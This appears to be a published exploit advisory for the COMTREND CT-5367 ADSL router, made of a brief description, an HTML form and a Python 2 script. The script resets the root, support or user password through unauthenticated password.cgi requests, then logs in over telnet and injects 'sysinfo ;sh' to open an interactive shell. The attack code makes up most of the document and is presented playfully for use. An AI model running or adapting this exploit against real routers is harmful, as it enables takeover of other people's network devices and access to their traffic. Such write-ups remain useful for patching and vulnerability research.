COMTREND ADSL Router CT-5367 Remote Code Execution

`# Exploit Title: Globalnet COMTREND ADSL Router CT-5367 Remote Code Execute  
# Date: 11-12-2017  
# Exploit Author: TnMch  
# Software Link : null  
# Type : HardWare  
# Risk of use : High  
# Type to use : Remote  
  
  
1. Description  
  
Any user can edit all users password and execute remote code directly without have access   
  
2. Proof of Concept  
  
request this page before login to ADSL panel : 192.168.1.1/password.cgi/password.cgi  
  
<form>  
<table border="0" cellpadding="0" cellspacing="0">  
<tr>  
<td width="120">Username:</td>  
<td><select name='userName' size="1">  
<option value="0">  
<option value="1">root <!-- admin -->  
<option value="2">support <!-- support -->  
<option value="3">user <!-- user -->  
</select></td>  
</tr>  
<tr>  
<td>Old Password:</td>  
<td><input name='pwdOld' type="password" size="20" maxlength="16"></td>  
</tr>  
<tr>  
<td>New Password:</td>  
<td><input name='pwdNew' type="password" size="20" maxlength="16"></td>  
</tr>  
<tr>  
<td>Confirm Password:</td>  
<td><input name='pwdCfm' type='password' size="20" maxlength="16"></td>  
</tr>  
</table>  
<br>  
<center><input type='button' onClick='btnApply()' value='Save/Apply'></center>  
</form>  
  
  
3 .exploit   
  
  
#!/usr/bin/env python  
import platform  
import requests  
import base64  
  
url = "http://192.168.1.1/"  
  
''' first check default gateway '''  
  
r = requests.get(url,allow_redirects=True)  
resp = r.content  
  
'''Check resp'''  
  
if 'Authorization' not in resp:  
exit("[-]Invalid host !! ")  
  
''' Change password '''  
  
again = True  
  
while again:  
print "Which User"  
print "(root | support | user )"  
user = raw_input('user : ').split()[0]  
  
if user not in ("root","support","user"):  
exit("[-] No user with this name !! ")  
  
print "[+] Update password ",user  
password = raw_input('new password : ').split()[0]  
print "[+] Update new password ['",password,"']"  
  
if user == "root":  
url +="password.cgi?sysPassword="+password  
if user == "support":  
url +="password.cgi?sptPassword="+password  
if user == "user":  
url +="password.cgi?usrPassword="+password  
  
pass_b64 = password.encode('base64').split()[0]  
  
r2 = requests.get(url,allow_redirects=True)  
resp2 = r2.content  
  
''' Check update '''  
  
if pass_b64 in resp2:  
print "[+] Password for user : ",user," updated!"  
print "Happy hacking :D, enjoy"  
else:  
print "[-] Something Wrong , please check again! "  
  
y_n = raw_input('Do you want again? :D (y/n) : ').split()[0]  
  
if 'n'!= y_n and 'y' != y_n:  
exit('bad input :(')  
if y_n == 'n':  
print "Go Go Go :D ,No Time for you Mr.Robot"  
shell_yn= raw_input("Do you want shell? (y/n) :D : ").split()[0]  
if shell_yn !='n':  
sys = platform.system()  
if sys =="Windows":  
exit("Sorry only on Linux or Mac Os")  
from pwn import *  
target = "192.168.1.1"  
port = 23  
p = remote(target,port)  
p.recvuntil("Login:")  
p.sendline(user)  
p.recvuntil("Password:")  
p.sendline(password)  
p.sendline("sysinfo ;sh")  
p.interactive()  
again = False  
  
`